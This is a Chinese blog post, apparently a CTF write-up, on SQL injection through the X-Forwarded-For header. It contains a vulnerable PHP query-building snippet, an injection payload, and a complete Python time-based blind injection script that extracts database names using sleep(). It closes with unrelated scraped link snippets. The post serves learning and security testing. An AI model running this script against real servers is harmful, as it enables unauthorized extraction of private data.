机缘巧合接触了一点关于sql注入的网络安全问题

依托 headers 的 sql 注入

一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。

但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。

这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941

代码漏洞示例

    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$cip = $_SERVER["HTTP_CLIENT_IP"];
} else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (!empty($_SERVER["REMOTE_ADDR"])) {
$cip = $_SERVER["REMOTE_ADDR"];
} else {
$cip = 'unknow';
}
// 未对ip 进行安全转码
echo 'Your IP address is : '.$cip;
// 直接拼接sql,未使用pdo参数绑定
$sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
$DB->query($sql);

构造sql注入的headers

接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:

headers = {
"X-forwarded-for": "'+(select 1) and '1'='1"
}
req=requests.get(url,headers=headers)

如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1

time-based 时间盲注

看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...

我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果

这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注

它的原理很容易理解:

  • sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
  • sleep() 语句可以人为控制sql响应时间
  • 虽然不能控制页面的输出,但是可以通过sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息

所以核心思想是,通过sql语句控制页面的响应时间

破解过程非常暴力,看代码一目了然:

def crack_records(url, sql, max_row, max_length):
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
# mysql 不区分大小写
guess = string.ascii_lowercase+string.digits+string.punctuation
res = []
for n in range(0,max_row): #假设爆破前 max_row 个记录
result=''
for i in range(1,max_length): #爆破字符串长度,假设不超过 max_length 长度
flag=0
for str in guess: #爆破该位置的字符 headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
try:
req=requests.get(url,headers=headers,timeout=6)
except:
result+=str
flag=1
print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
break
if flag==0:
break
res.append(result)
#
if i==1 and flag==0:
print('扫描完成')
break
return res # 除information_schema外的database
sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
res = crack_records(url, sql, 100, 500)
print (res)

文章参考

实验吧CTF-Who are you?

总结

  1. 破解过程非常耗时,根据网页的响应时长调整timeout阈值
  2. 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
  3. 这些人好特么聪明啊啊啊啊啊!!!

依托http-headers的 sql注入和时间盲注的更多相关文章

  1. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  2. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  3. SQL注入之延迟盲注

    延迟盲注 你不知道你输入的数据在sql被执行后是否是正确或错误的.你只知道有数据. 利用原理 借助if语句,如果正确就sleep(5),延迟5秒返回数据.通过数据返回的时间大小判断自己的语句是否正确执 ...

  4. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  6. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

随机推荐

  1. java:练习超市卖场

    java:练习超市卖场 涉及到:大商品类,具体商品(以书为例),卖场类 Goods,Book,superMart,  商品类Goods: public interface Goods { //商品类 ...

  2. 分享知识-快乐自己:初中级 java 面试题宝典

    1):Jsp的重定向和转发的流程有什么区别 重定向是客户端行为,转发是服务器端行为 重定向时服务器产生两次请求,转发产生一次请求,重定向时可以转发到项目以外的任何网址,转发只能在当前项目里转发 重定向 ...

  3. objdump 命令的用法

    gcc命令之 objdump ---------------objdump是用查看目标文件或者可执行的目标文件的构成的GCC工具---------- 以下3条命令足够那些喜欢探索目标文件与源代码之间的 ...

  4. bzoj1006神奇的国度

    OrzCDQ您太强辣 #include<iostream> #include<cstdio> #include<cstdlib> #include<algor ...

  5. MySQL_西安11月销售昨日未上架的产品_20161212

    #C034西安11月销售昨日未上架的产品  SELECT 城市,a.订单日期,a.客户数,a.订单数,b.产品数,a.金额,c.销售确认额,c.毛利额,c.毛利率 FROM ( SELECT 城市,订 ...

  6. python之路-进程

    博客园 首页 新随笔 联系 管理 订阅 随笔- 31  文章- 72  评论- 115    python之路——进程   阅读目录 理论知识 操作系统背景知识 什么是进程 进程调度 进程的并发与并行 ...

  7. long long 与__int64使用总结

    本文摘自网络.原文网址:http://blog.sina.com.cn/s/blog_6aa178410100vlwr.html 前言: 在16位环境下,int/unsigned int 占16位,l ...

  8. django基础PROJECT APP View template

    project 和 app 的区别就是一个是配置另一个是代码: 一个project包含很多个Django app以及对它们的配置. 一个project的作用是提供配置文件,比方说哪里定义数据库连接信息 ...

  9. TS学习之基础类型

    1.布尔值 let isDone:boolean = false 2.数字(支持二,八,十,十六进制) let width:number = 20 3.字符串 let name:string = &q ...

  10. atoi函数实现

    #include int my_atoi(const char *str) { int result; char sign; for (; str && isspace(*str); ...